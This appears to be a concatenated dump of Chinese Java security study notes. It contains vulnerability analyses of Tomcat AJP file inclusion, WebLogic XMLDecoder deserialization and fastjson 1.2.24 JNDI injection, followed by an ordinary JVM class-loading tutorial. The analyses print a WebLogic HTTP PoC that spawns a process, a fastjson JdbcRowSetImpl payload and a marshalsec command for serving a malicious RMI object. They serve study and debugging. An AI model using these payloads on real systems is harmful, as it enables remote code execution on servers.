spring boot 快速创建项目:http://tengj.top/2017/02/26/springboot1/ 158 | 159 | 微信支付xxe:https://benjaminwhx.com/2018/07/05/%E7%94%B1%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98XXE%E6%BC%8F%E6%B4%9E%E8%B0%88%E8%B0%88%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E5%A6%82%E4%BD%95%E9%A2%84%E9%98%B2/ 160 | 161 | java xxe:https://blog.spoock.com/2018/10/23/java-xxe/ -------------------------------------------------------------------------------- /tomcat ajp任意文件包含漏洞分析.md: -------------------------------------------------------------------------------- 1 | CVE-2020-1938:Tomcat AJP文件包含漏洞分析 2 | -- 3 | 4 | ### 0x01 前言 5 | 6 | 最近这个漏洞特别的火,各大媒体都在报道,在第一时间进行复现过后,我就想着找个时间分析分析,但是看了老半天的代码也没找到漏洞的触发点,只是根据PoC确定了是由于ajp协议可以自定义request的某些属性值导致的漏洞,而且我翻源码也找到了ajp协议的逻辑代码。但是更进一步,就卡住了,不知道自定义属性怎么就导致了漏洞的产生~没办法,只有去看看别的师傅的分析文章,恍然大悟,原来经过我们自定义属性过后的request对象的后续处理依旧符合tomcat的处理流程,就是针对某个地址的请求会被预先设置好的servlet处理,而任意文件包含也就出现在这些servlet中。下面我们就来看下具体的代码吧 7 | 8 | ### 0x02 漏洞分析 9 | 10 | 在分析之前我们还需要了解一下ajp协议的作用。移步: https://blog.csdn.net/jeikerxiao/article/details/82745516 11 | 12 | 我翻了下tomcat的源码,发现ajp协议实现在下面这一堆源码里: 13 | 14 | ![](tomcat_ajp_lfi/ajp.png) 15 | 16 | 然后我把这几个文件都翻了一遍,确定了几个可疑的文件以及可疑的函数,那么怎么确定我们的怀疑是否正确呢?只有下断点,然后发送payload,看看是否能够触发断点23333。结合网上公开的poc 17 | 18 | ![](tomcat_ajp_lfi/poc.png) 19 | 20 | 可以看到是设置了几个属性的,而且name是req_attrubute,然后我就去ajp协议源码中去找对这些属性进行处理的部分,一顿操作猛如虎,反正就是反复的调试,最后确定到prepareRequest这个方法,而且这个方法中可以看到这么一段代码: 21 | 22 | ![](tomcat_ajp_lfi/req_attribute.png) 23 | 24 | 经过几次调试,最终确定这里就是设置request属性的地方了,但是设置了request属性过后,request对象又会怎么被处理呢?我就是一直卡在这里了,当然,后面看到师傅的文章,知道请求会发送到对应的servlet,如果我们请求的是一个jsp文件,根据tomcat的默认web.xml文件: 25 | 26 | ```xml 27 | 28 | jsp 29 | org.apache.jasper.servlet.JspServlet 30 | 31 | fork 32 | false 33 | 34 | 35 | xpoweredBy 36 | false 37 | 38 | 3 39 | 40 | ``` 41 | 42 | 可以看到是被JspServlet处理了,会执行到JspServlet的service方法: 43 | 44 | ```java 45 | public void service (HttpServletRequest request, 46 | HttpServletResponse response) 47 | throws ServletException, IOException { 48 | 49 | //jspFile may be configured as an init-param for this servlet instance 50 | String jspUri = jspFile; 51 | 52 | if (jspUri == null) { 53 | // JSP specified via in declaration and 54 | // supplied through custom servlet container code 55 | String jspFile = (String) request.getAttribute(Constants.JSP_FILE); 56 | if (jspFile != null) { 57 | jspUri = jspFile; 58 | request.removeAttribute(Constants.JSP_FILE); 59 | } 60 | } 61 | if (jspUri == null) { 62 | /* 63 | * Check to see if the requested JSP has been the target of a 64 | * RequestDispatcher.include() 65 | */ 66 | jspUri = (String) request.getAttribute( 67 | RequestDispatcher.INCLUDE_SERVLET_PATH); 68 | if (jspUri != null) { 69 | /* 70 | * Requested JSP has been target of 71 | * RequestDispatcher.include(). Its path is assembled from the 72 | * relevant javax.servlet.include.* request attributes 73 | */ 74 | String pathInfo = (String) request.getAttribute( 75 | RequestDispatcher.INCLUDE_PATH_INFO); 76 | if (pathInfo != null) { 77 | jspUri += pathInfo; 78 | } 79 | } else { 80 | /* 81 | * Requested JSP has not been the target of a 82 | * RequestDispatcher.include(). Reconstruct its path from the 83 | * request's getServletPath() and getPathInfo() 84 | */ 85 | jspUri = request.getServletPath(); 86 | String pathInfo = request.getPathInfo(); 87 | if (pathInfo != null) { 88 | jspUri += pathInfo; 89 | } 90 | } 91 | } 92 | 93 | if (log.isDebugEnabled()) { 94 | log.debug("JspEngine --> " + jspUri); 95 | log.debug("\t ServletPath: " + request.getServletPath()); 96 | log.debug("\t PathInfo: " + request.getPathInfo()); 97 | log.debug("\t RealPath: " + context.getRealPath(jspUri)); 98 | log.debug("\t RequestURI: " + request.getRequestURI()); 99 | log.debug("\t QueryString: " + request.getQueryString()); 100 | } 101 | 102 | try { 103 | boolean precompile = preCompile(request); 104 | serviceJspFile(request, response, jspUri, precompile); 105 | } catch (RuntimeException e) { 106 | throw e; 107 | } catch (ServletException e) { 108 | throw e; 109 | } catch (IOException e) { 110 | throw e; 111 | } catch (Throwable e) { 112 | ExceptionUtils.handleThrowable(e); 113 | throw new ServletException(e); 114 | } 115 | 116 | } 117 | ``` 118 | 119 | 经过上面代码的处理,最终jspUri的值变成了`javax.servlet.include.servlet_path + javax.servlet.include.path_info`,而这两个属性的值都是我们可控的。然后jspUri传入了serviceJspFile方法,也就是把jspUri指定的文件当作jsp文件解析了,所以能够造成RCE。 120 | 121 | 122 | ![](tomcat_ajp_lfi/calc.png) 123 | 124 | 而如果我们构造一个请求普通文件的ajp请求,tomcat最终根据web.xml中的配置调用DefaultServlet处理,也会造成LFI漏洞。具体就不分析了 125 | 126 | 127 | ### 0x03 其他 128 | 129 | 参考: https://www.colabug.com/2020/0222/7029362/ 130 | 131 | 这篇文章写的比较水,主要是能写的并不多,其实就是通过ajp协议向tomcat发送请求包是可以控制request对象的`javax.servlet.include.request_uri, javax.servlet.include.path_info, javax.servlet.include.servlet_path` 这三个关键属性,导致我们可以访问任意的文件。 132 | 133 | 阅读本文需要结合PoC,因为很多线索都在PoC中: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py 134 | 135 | 136 | -------------------------------------------------------------------------------- /18.Weblogic之XMLDecoder反序列化1_CVE-2017-3506.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 接着上一节,说说Weblogic中的XMLDecoder反序列化(CVE-2017-3506),其实关于这个漏洞后续还有多个绕过,CVE编号分别为:CVE-2017-10271、CVE-2019-2725 4 | 5 | 关于后面两个漏洞以及对应的绕过手法,我们后续再谈~(怎么感觉给自己开的坑越来越多) 6 | 7 | ### 0x02 调试分析 8 | 9 | 调试Webloig需要搭建好配置的环境以及对应的POC,关于Weblogic的远程调试方法,我在 **《IDEA调试技巧2》** 中已经讲解了,poc如下: 10 | 11 | ``` 12 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 13 | Host: localhost:7001 14 | User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 15 | Accept-Encoding: gzip, deflate 16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 17 | Connection: close 18 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 19 | Content-Type: text/xml;charset=UTF-8 20 | Content-Length: 757 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | calc.exe 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | ``` 42 | 43 | 分析一个漏洞的目的是什么?在我这里,就是弄清楚整个漏洞的利用链,学习一些手法或者挖掘思路,怎么弄清楚利用链呢?其实我在另一篇 **《IDEA调试技巧1》** 中有提到过相关方法,从POC中可以看出,如果这个xml文件被反序列化将会调用ProcessBuilder类的start方法,所以,我们只需要用idea在ProcessBuilder的start方法处下断点然后观察堆栈调用,就可以看到整个利用链 44 | 45 | 然后我们可以进一步分析我们感兴趣的类,说干就干,在start处下断点,然后发送payload: 46 | 47 | ![](weblogic_xmldecoder/exp_chain.png) 48 | 49 | 注意到调用堆栈中的有XMLDecoder类的readObject方法,一下子我们就定位到了问题! 50 | 51 | 为了更加详细的了解这个漏洞,我们还是从processRequest方法跟一下,看看细节 52 | 53 | ```java 54 | public NextAction processRequest(Packet var1) { 55 | this.isUseOldFormat = false; 56 | if (var1.getMessage() != null) { 57 | HeaderList var2 = var1.getMessage().getHeaders(); 58 | Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); 59 | if (var3 != null) { 60 | this.readHeaderOld(var3); 61 | this.isUseOldFormat = true; 62 | } 63 | 64 | Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); 65 | if (var4 != null) { 66 | this.readHeader(var4); 67 | } 68 | } 69 | 70 | return super.processRequest(var1); 71 | } 72 | ``` 73 | 上面的processRequest方法的参数var1的content就是我们发送的xml数据,然后var3为null就会执行readHeaderOld, 74 | 75 | ![](weblogic_xmldecoder/var3.png) 76 | 77 | if 判断前的两行代码分别是获取payload中的下面两行的(大概是这么个意思~) 78 | 79 | ![](weblogic_xmldecoder/header.png) 80 | 81 | 所以,payload中的这两行不能少,然后我们到readHeaderOld中看一下: 82 | 代码不多,但是其中的每一个变量的属性都很多,实在不想一个个看了,我直接步进,直到112行这儿,从IDEA中可以看到var4的内容为 83 | ![](weblogic_xmldecoder/var4.png) 84 | 85 | ``` 86 | 87 | 88 | 89 | 90 | calc.exe 91 | 92 | 93 | 94 | 95 | 96 | ``` 97 | 98 | 这就应该引起我们的注意了,可以看到var4在112行这里先是调用了toByteArray,然后被包装到ByteArrayInputStream中,最后传入到WorkContextXmlInputAdapter的构造函数,我们跟进: 99 | 100 | ```java 101 | public WorkContextXmlInputAdapter(InputStream var1) { 102 | this.xmlDecoder = new XMLDecoder(var1); 103 | } 104 | ``` 105 | 106 | 在这个构造函数中,var4又被封装到XMLDecoder中,如果你认真学习了XMLDecoder反序列化原理那一篇文章,你应该知道,现在如果有一处代码调用this.xmlDecoder.readObject(),那么就会产生反序列化漏洞,所以我们回到readHeaderOld方法,继续往下看,到this.receive(var6),跟进receive方法: 107 | 108 | ```java 109 | protected void receive(WorkContextInput var1) throws IOException { 110 | WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); 111 | var2.receiveRequest(var1); 112 | } 113 | ``` 114 | 115 | 我们需要关注的是receiveRequest方法,跟进: 116 | 117 | ```java 118 | public void receiveRequest(WorkContextInput var1) throws IOException { 119 | ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1); 120 | } 121 | ``` 122 | 123 | 还是继续追踪变量,跟进receiveRequest: 124 | 125 | ```java 126 | public void receiveRequest(WorkContextInput var1) throws IOException { 127 | while(true) { 128 | try { 129 | WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1); 130 | if (var2 == WorkContextEntry.NULL_CONTEXT) { 131 | return; 132 | } 133 | 134 | String var3 = var2.getName(); 135 | this.map.put(var3, var2); 136 | if (debugWorkContext.isDebugEnabled()) { 137 | debugWorkContext.debug("receiveRequest(" + var2.toString() + ")"); 138 | } 139 | } catch (ClassNotFoundException var4) { 140 | if (debugWorkContext.isDebugEnabled()) { 141 | debugWorkContext.debug("receiveRequest : ", var4); 142 | } 143 | } 144 | } 145 | } 146 | ``` 147 | 148 | 跟进readEntry: 149 | 150 | ```java 151 | public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException { 152 | String var1 = var0.readUTF(); 153 | return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0)); 154 | } 155 | ``` 156 | 157 | 跟进readUTF: 158 | 159 | ```java 160 | public String readUTF() throws IOException { 161 | return (String)this.xmlDecoder.readObject(); 162 | } 163 | ``` 164 | 165 | 到这里就执行了this.xmlDecoder.readObject(),漏洞触发,合影留念: 166 | 167 | ![](weblogic_xmldecoder/calc.png) 168 | 169 | 170 | 171 | -------------------------------------------------------------------------------- /9.fastjson-1.2.24反序列化漏洞.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 前一章简单介绍了jndi注入的知识,这一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过jndi注入的方式实现RCE,所以我觉得是一个挺好的JNDI注入实践案例。 4 | 5 | 6 | #### 0x02 fastjson反序列化特点 7 | 8 | 不同于我们之前提到的java反序列化,fastjson的序列化有其自身特点,我们通过一些小demo来展示如何使用fastjson。我们常说的fastjson的序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。 9 | 10 | - fastjson 序列化demo: 11 | 12 | ```java 13 | import com.alibaba.fastjson.JSON; 14 | 15 | public class Test { 16 | public static void main(String[] args){ 17 | User user = new User(); 18 | user.setName("axin"); 19 | user.setAge(18); 20 | 21 | String json = JSON.toJSONString(user); 22 | System.out.println(json); 23 | } 24 | } 25 | ``` 26 | 27 | 其中User类如下: 28 | 29 | ```java 30 | public class User { 31 | private int age; 32 | public String name; 33 | public void sayHello(){ 34 | System.out.println("Hello, I am "+name); 35 | } 36 | public void getName(){ 37 | System.out.println(name); 38 | } 39 | 40 | public int getAge() { 41 | return age; 42 | } 43 | 44 | public void setAge(int age) { 45 | this.age = age; 46 | } 47 | 48 | public void setName(String name) { 49 | this.name = name; 50 | } 51 | } 52 | ``` 53 | 54 | 运行Test类,就会得到如下json字符串: 55 | 56 | ![](fastjson1224/json.png) 57 | 58 | 59 | - fastjson 反序列化demo 60 | 61 | 62 | fastjson反序列化有个特点,就是会自动调用目标对象的setXXX方法,例如{"name","axin", "age": 18}被反序列化时会自动调用对应对象的setName以及setAge方法,我们用代码实践一下,看看是否的确如此 63 | 64 | 修改一下User类: 65 | 66 | ```java 67 | public class User { 68 | private int age; 69 | public String name; 70 | public void sayHello(){ 71 | System.out.println("Hello, I am "+name); 72 | } 73 | public void getName(){ 74 | System.out.println(name); 75 | } 76 | 77 | public int getAge() { 78 | return age; 79 | } 80 | 81 | public void setAge(int age) { 82 | this.age = age; 83 | System.out.println("调用了setAge"); 84 | } 85 | 86 | public void setName(String name) { 87 | this.name = name; 88 | System.out.println("调用了setName"); 89 | } 90 | } 91 | ``` 92 | 93 | 然后新建一个反序列化的类: 94 | 95 | ```java 96 | import com.alibaba.fastjson.JSON; 97 | 98 | public class JsonToObj { 99 | public static void main(String[] args){ 100 | String str = "{\"age\":18,\"name\":\"axin\"}"; 101 | User user = JSON.parseObject(str, User.class); 102 | } 103 | } 104 | ``` 105 | 106 | 运行该类,得到如下结果,说明反序列化的过程中确实调用了setXXX方法: 107 | 108 | ![](fastjson1224/json_to_obj.png) 109 | 110 | 其实fastjson反序列化是有两个api的,一个是上面demo中用到的parseObject()还有一个是parse()方法,他们的最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。 111 | 112 | 而且在直接使用JSON.parseObject()方法反序列化json字符串的时候是不会调用对应对象的setXXX方法的,那么怎么才能让直接使用JSON.parseObject()反序列化的对象也调用setXXX方法呢,答案是利用@type属性,来看下对比: 113 | 114 | ![](fastjson1224/type.png) 115 | 116 | 可见加了@type属性就能调用对应对象的setXXX方法,那这个@type属性具体是干嘛的呢?其实从上面的demo应该也能得知一二了,就是指定该json字符串要反序列化到哪个类。这个属性让我们的漏洞利用如鱼得水~ 117 | 118 | > ps: fastjson反序列化默认只能反序列化公共属性,如果想要对应的私有属性也被反序列话,则需要下面这样添加一个Feature.SupportNonPublicField参数: 119 | > `JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);` 120 | 121 | 122 | ### 0x03 fastjson反序列化——JNDI攻击向量 123 | 124 | 有了上面的知识铺垫,大家应该能够想到怎么利用fastjson的反序列化执行命令了吧?就是利用@type属性以及自动调用setXXX方法,如果我们能够找到一个类,而这个类的某个setXXX方法中通过我们的精心构造能够完成命令执行不就行了嘛~ 125 | 126 | `com.sun.rowset.JdbcRowSetImpl`就是这么一个类,这个类中有两个set方法,分别是setDataSourceName()与setAutoCommit(),我们看一下相关实现: 127 | 128 | setDatasourceName 129 | 130 | ```java 131 | public void setDataSourceName(String name) throws SQLException { 132 | 133 | if (name == null) { 134 | dataSource = null; 135 | } else if (name.equals("")) { 136 | throw new SQLException("DataSource name cannot be empty string"); 137 | } else { 138 | dataSource = name; 139 | } 140 | 141 | URL = null; 142 | } 143 | ``` 144 | 145 | setAutoCommit 146 | 147 | ```java 148 | public void setAutoCommit(boolean var1) throws SQLException { 149 | if (this.conn != null) { 150 | this.conn.setAutoCommit(var1); 151 | } else { 152 | this.conn = this.connect(); 153 | this.conn.setAutoCommit(var1); 154 | } 155 | 156 | } 157 | ``` 158 | 159 | 这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下 160 | 161 | ```java 162 | protected Connection connect() throws SQLException { 163 | if (this.conn != null) { 164 | return this.conn; 165 | } else if (this.getDataSourceName() != null) { 166 | try { 167 | InitialContext var1 = new InitialContext(); 168 | DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 169 | return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); 170 | } catch (NamingException var3) { 171 | throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); 172 | } 173 | } else { 174 | return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; 175 | } 176 | } 177 | ``` 178 | 179 | 可以看到这里connect方法中有典型的jndi的lookup方法调用,且参数就是我们在setDataSourceName中设置的dataSourceName。 180 | 181 | 具体的代码就先不分析了,fastjson反序列化的流程大概就是先进行json数据的解析,我个人认为这个分析是个体力活,一步一步调试就行了,就没必要再写出来了。然后我们现在知道了上面两个setXXX方法有问题,怎么构造poc呢?如下就行: 182 | 183 | `{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}` 184 | 185 | 可见dataSourceName的值为我们恶意的rmi对象,之前我们都是自己写代码注册rmi对象的,现在介绍一个线程的部署rmi服务的工具: 186 | 187 | https://github.com/mbechler/marshalsec 188 | 189 | 需要自己用maven工具生成jar包,使用说明中有介绍,我们用该工具快速搭建一个rmi服务器,并把恶意的远程对象注册到上面,使用如下命令: 190 | 191 | `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Evil` 192 | 193 | 其中我们的恶意对象是放在本地的一个运行在8000端口的web服务上的(我们可以用python快速搭建一个web服务器) 194 | 195 | 弹个计算器 196 | 197 | ![](fastjson1224/calc.png) 198 | 199 | 200 | 201 | 202 | 203 | 204 | -------------------------------------------------------------------------------- /jvm-类加载机制.md: -------------------------------------------------------------------------------- 1 | 上一章,我们一起认识了class文件的结构,而一个class文件想要执行,还得要加载到jvm中才行 2 | 3 | 4 | 5 | 所以,今天我们就一起来学习一下JVM的类加载机制,看看一个class文件是如何闪转腾挪变为我们常说的一个java类的 6 | 7 | 先来看一下整个类加载的生命周期 8 | 9 | ![](class_loading/20211012182331.png) 10 | 11 | ### 类加载的时机 12 | 13 | 14 | 加载、验证、准备、初始化和卸载这五个阶段的顺序是确定的,类型的加载过程必须按 照这种顺序按部就班地开始,而解析阶段则不一定:它在某些情况下可以在初始化阶段之后再开始, 这是为了支持Java语言的运行时绑定特性(也称为动态绑定或晚期绑定)。 15 | 16 | 在六种情况下,类必须进行初始化(自然,在初始化之前,加载、验证、准备阶段也都会执行): 17 | 18 | - 遇到new、getstatic、putstatic或invokestatic这四条字节码指令时,如果类型没有进行过初始 化,则需要先触发其初始化阶段 19 | - 使用java.lang.reflect包的方法对类型进行反射调用的时候,如果类型没有进行过初始化,则需 要先触发其初始化。 20 | - 当初始化类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化 21 | - 当虚拟机启动时,用户需要指定一个要执行的主类(包含main()方法的那个类),虚拟机会先 初始化这个主类。 22 | - 当使用JDK 7新加入的动态语言支持时,如果一个java.lang.invoke.MethodHandle实例最后的解 析结果为REF_getStatic、REF_putStatic、REF_invokeStatic、REF_newInvokeSpecial四种类型的方法句 柄,并且这个方法句柄对应的类没有进行过初始化,则需要先触发其初始化。 23 | - 当一个接口中定义了JDK 8新加入的默认方法(被default关键字修饰的接口方法)时,如果有 这个接口的实现类发生了初始化,那该接口要在其之前被初始化 24 | 25 | 26 | 可以看到,上面六种情况都是因为要使用到具体的类,使用之前肯定得先有这个类对吧,所以必须得先执行类的初始化 27 | 28 | ### 类加载的过程 29 | 30 | #### 加载 31 | 32 | 类加载的第一个过程是加载,加载过程jvm做了三件事: 33 | 34 | - 通过一个类的全限定名来获取定义此类的二进制字节流。 35 | - 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。 36 | - 在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入 口。 37 | 38 | 由于《Java虚拟机规范》对着三者的要求并不具体,没有规定,二进制字节流必须从某个Class文件加载,确切地说是根本没有指明要从哪里获取、如何获取,所以给开发者们留下了很大的开发空间,class文件可以从: 39 | 40 | - 从ZIP压缩包中读取,这很常见,最终成为日后JAR、EAR、WAR格式的基础。 41 | - 从网络中获取,这种场景最典型的应用就是Web Applet,java开发者所熟知的URLClassloader就可以加载远程的class文件 42 | - 运行时计算生成,这种场景使用得最多的就是动态代理技术,在java.lang.reflect.Proxy中,就是用 了ProxyGenerator.generateProxyClass()来为特定接口生成形式为“*$Proxy”的代理类的二进制字节流。 43 | - 由其他文件生成,典型场景是JSP应用,由JSP文件生成对应的Class文件。 44 | - 从数据库中读取,这种场景相对少见些,例如有些中间件服务器(如SAP Netweaver)可以选择 把程序安装到数据库中来完成程序代码在集群间的分发。 45 | - 可以从加密文件中获取,这是典型的防Class文件被反编译的保护措施,通过加载时解密Class文 件来保障程序运行逻辑不被窥探。 46 | 47 | **注:** 连接阶段的部分行为会与加载阶段交叉进行,例如:在加载尚未结束时,就可以对加载成功的部分二进制流进行文件格式验证 48 | 49 | #### 验证 50 | 51 | 验证阶段是为了验证class的字节流中的数据是否符合《Java虚拟机规范》的要求,虽然java通过javac编译过后的class文件可以确保是符合规范的,但是class文件毕竟是一个普通文件,是可以被修改的,验证阶段就是为了避免不规范的class被jvm使用,从而危害jvm安全 52 | 53 | **下面的为扩展内容,可以选择性阅读** 54 | 55 | 56 | 验证阶段做的事情很多,简单介绍几个: 57 | 58 | ##### 文件格式验证 59 | 60 | - 是否以魔数0xCAFEBABE开头。 61 | - 主、次版本号是否在当前Java虚拟机接受范围之内。 62 | ... 63 | 64 | 文件格式验证只需要对二进制流进行操作就行,文件格式验证通过后,二进制流就按照特定的格式被存储在jvm的内存中了 65 | 66 | **下面提到的一些验证也就不再依赖二进制流,而是依赖于class文件在方法区中的存储结构进行的** 67 | 68 | 69 | ##### 元数据验证 70 | 71 | 对字节码进行简单的语义分析,例如: 72 | 73 | - 这个类是否有父类(除了java.lang.Object之外,所有的类都应当有父类)。 74 | - 这个类的父类是否继承了不允许被继承的类(被final修饰的类)。 75 | 76 | ... 77 | 78 | ##### 字节码验证 79 | 80 | 在第二阶段对元数据信息中的数据类型校验完毕以后,这阶段就要 对类的方法体(Class文件中的Code属性)进行校验分析,保证被校验类的方法在运行时不会做出危害 虚拟机安全的行为 81 | 82 | - 保证任意时刻操作数栈的数据类型与指令代码序列都能配合工作,例如不会出现类似于“在操作 栈放置了一个int类型的数据,使用时却按long类型来加载入本地变量表中”这样的情况。 83 | - 保证任何跳转指令都不会跳转到方法体以外的字节码指令上 84 | ... 85 | 86 | ##### 符号引用验证 87 | 88 | 符号引用验证其实和解析阶段结合的比较紧密,解析阶段做的事情就是把符号引用转换为直接引用,而符号引用验证做的事情其实就是看在这个转换过程中,是否会出现差错,例如:该类是否缺少或者被禁止访问它依赖的某些外部 类、方法、字段等资源 89 | 90 | 在上一章《Class文件结构》中,我们有个类`Axin`: 91 | 92 | ```java 93 | package org.example; 94 | 95 | public class Axin { 96 | private int age; 97 | 98 | public Axin() { 99 | } 100 | 101 | public void sayHello() { 102 | System.out.println("hello"); 103 | } 104 | } 105 | ``` 106 | 107 | 这里面用到了`System.out.println`方法,`System.out.println`其实就是一个符号引用,它的直接引用是一个地址或者是指向该方法地址的指针,而符号引用验证就是验证`Axin`类是不是可以访问`System.out`等等... 108 | 109 | - 符号引用中通过字符串描述的全限定名是否能找到对应的类。 110 | - 在指定类中是否存在符合方法的字段描述符及简单名称所描述的方法和字段。 111 | - 符号引用中的类、字段、方法的可访问性(private、protected、public、)是否可被当 前类访问。 112 | 113 | 114 | 115 | #### 准备 116 | 117 | 准备阶段是正式为类变量(静态变量)分配内存(方法区分配)并赋初始值的阶段,但是这里的初始值是0而不是代码中所赋的值 118 | 119 | 例如如下代码: 120 | 121 | ``` 122 | public static int value = 123; 123 | ``` 124 | 125 | 在准备阶段后,类变量value的值是0而不是123,因为在准备阶段还没有任何java方法被执行,而给类变量赋值的操作是需要调用类构造器`()`方法中的putstatic指令的 126 | 127 | #### 解析 128 | 129 | **问:为啥要将符号引用转化为直接引用** 130 | **答:因为符号引用就只是一个字面量,与内存结构无关,仅仅通过字面量无法确认该引用在jvm内存中的地址,也就无法使用它,所以必须要将符号引用转换为能够定位到内存地址的直接引用,比如我们要调用System.out.println方法,我们必须要找到println方法在内存中的起始地址,这样才能执行里面的字节码** 131 | 132 | 将符号引用转化为直接引用 133 | 134 | 1. 符号引用:字符串,能根据这个字符串定位到指定的数据,比如java/lang/StringBuilder 135 | 2. 直接引用:内存地址或指向对应内存地址的指针、句柄 136 | 137 | **下面为扩展内容** 138 | 139 | 《Java虚拟机规范》之中并未规定解析阶段发生的具体时间,只要求了在执行ane-warray、 checkcast、getfield、getstatic、instanceof、invokedynamic、invokeinterface、invoke-special、 invokestatic、invokevirtual、ldc、ldc_w、ldc2_w、multianewarray、new、putfield和putstatic这17个用于 操作符号引用的字节码指令之前,先对它们所使用的符号引用进行解析。 140 | 141 | ##### 类或接口解析 142 | 143 | 假设当前代码所处的类为D,如果要把一个从未解析过的符号引用N解析为一个类或接口C的直接 引用 144 | 145 | 1)如果C不是一个数组类型,那虚拟机将会把代表N的全限定名传递给D的类加载器去加载这个 类C。在加载过程中,由于元数据验证、字节码验证的需要,又可能触发其他相关类的加载动作,例 如加载这个类的父类或实现的接口。一旦这个加载过程出现了任何异常,解析过程就将宣告失败。 146 | 147 | (数组类型的解析过程忽略...) 148 | 149 | 如果上面没有出现任何异常,那么C在虚拟机中实际上已经成为一个有效的类或接口了, 但在解析完成前还要进行符号引用验证,确认D是否具备对C的访问权限。如果发现不具备访问权限, 将抛出java.lang.IllegalAccessError异常。 150 | 151 | ##### 字段解析 152 | 153 | 字段解析先要解析该字段所对应的类的直接引用,然后在该类中查找是否拥有对应的字段,如果没找到回去找该类所实现的接口以及父类(如果有的话),找到了就返回该字段的直接引用 154 | 155 | ##### 方法解析 156 | 157 | 大体过程类似字段解析 158 | 159 | 160 | 161 | #### 初始化 162 | 163 | 执行类构造器方法`()`对类变量以及类中各种静态代码块中的变量进行赋值操作 164 | 165 | **注:这里是类变量初始化,而不是实例初始化** 166 | 167 | 168 | 169 | ### 类加载器 170 | 171 | 加载过程是通过类加载器实现的 172 | 173 | - 对于 任意一个类,都必须由加载它的类加载器和这个类本身一起共同确立其在Java虚拟机中的唯一性,每 一个类加载器,都拥有一个独立的类名称空间 174 | 175 | 站在java虚拟机的角度来看,只存在两种类加载器:一种是启动类加载器(Bootstrap ClassLoader),它采用c++实现,是虚拟机的一部分,还有一种就是其他所有的类加载器,采用java语言实现,独立于虚拟机外部,并且全都继承自`java.lang.ClassLoader` 176 | 177 | 而站在程序员的角度,类加载器应该更细化一点,java一直保持着三层类加载器、双亲委派的类加载架构 178 | 179 | - 启动类加载器,负责加载`\lib`目录下的或者被-Xbootclasspath参数所指定的路径中存放的类库到虚拟机内存中 180 | - 扩展类加载器(Extension Class Loader),它负责加载\lib\ext目录中,或者被java.ext.dirs系统变量所 指定的路径中所有的类库 181 | - 应用程序类加载器(Application Class Loader),它负责加载用户类路径 (ClassPath)上所有的类库 182 | 183 | 184 | 前面也提到了,两个类是否相等是由加载这个类的类加载器和它本身确定的,为了确保一些java基础类在java内存中的唯一性,jvm的类加载器采用了双亲委派的架构 185 | 186 | 双亲委派架构: 187 | 188 | ![](class_loading/20211013113646.png) 189 | 190 | 简单一句话解释这个架构就是:如果一个类加载器收到了类加载的请求,他不会第一时间自己去加载这个类,而是把这个加载委派给自己的父类加载器去完成,每一层都是如此,所以,其实所有的类加载请求最终都会传送到最顶层的类加载器,只有当最顶层的反馈无法加载时,才会用下一级的类加载器加载 191 | 192 | 193 | ### 参考地址 194 | 195 | 《深入理解Java虚拟机:JVM高级特性与最佳实践(第3版)周志明.pdf》 196 | 197 | 198 | https://github.com/doocs/jvm 199 | 200 | 201 | http://wenku.uml.com.cn/document/java/JVM%E8%AF%A6%E8%A7%A3.pdf -------------------------------------------------------------------------------- /java动态代理.md: -------------------------------------------------------------------------------- 1 | 想必有过编程经验的同学应该知道什么叫做代理,即使是没有接触过编程,也一定在生活中听过各种各样的代理,举个例子,我们生活中经常到火车站去买车票,但是人一多的话,就会非常拥挤,于是就有了代售点,我们能从代售点买车票了 2 | 3 | 我们不仅仅能够在代售网点买车票,还可以从中获得一些额外的服务,比如一些代售网点可以帮我们规划行程、订酒店等等 4 | 5 | 所以,代理模式不仅仅是提供了一个中间代理来控制、访问原目标,它还增强了原目标的功能以及简化了访问方式 6 | 7 | 那具体到java语言中,我们应该怎么应用代理模式、怎么给一个对象创建代理呢? 8 | 9 | 接下来我将介绍java中常见的三种代理模式 10 | 11 | ### 静态代理 12 | 13 | 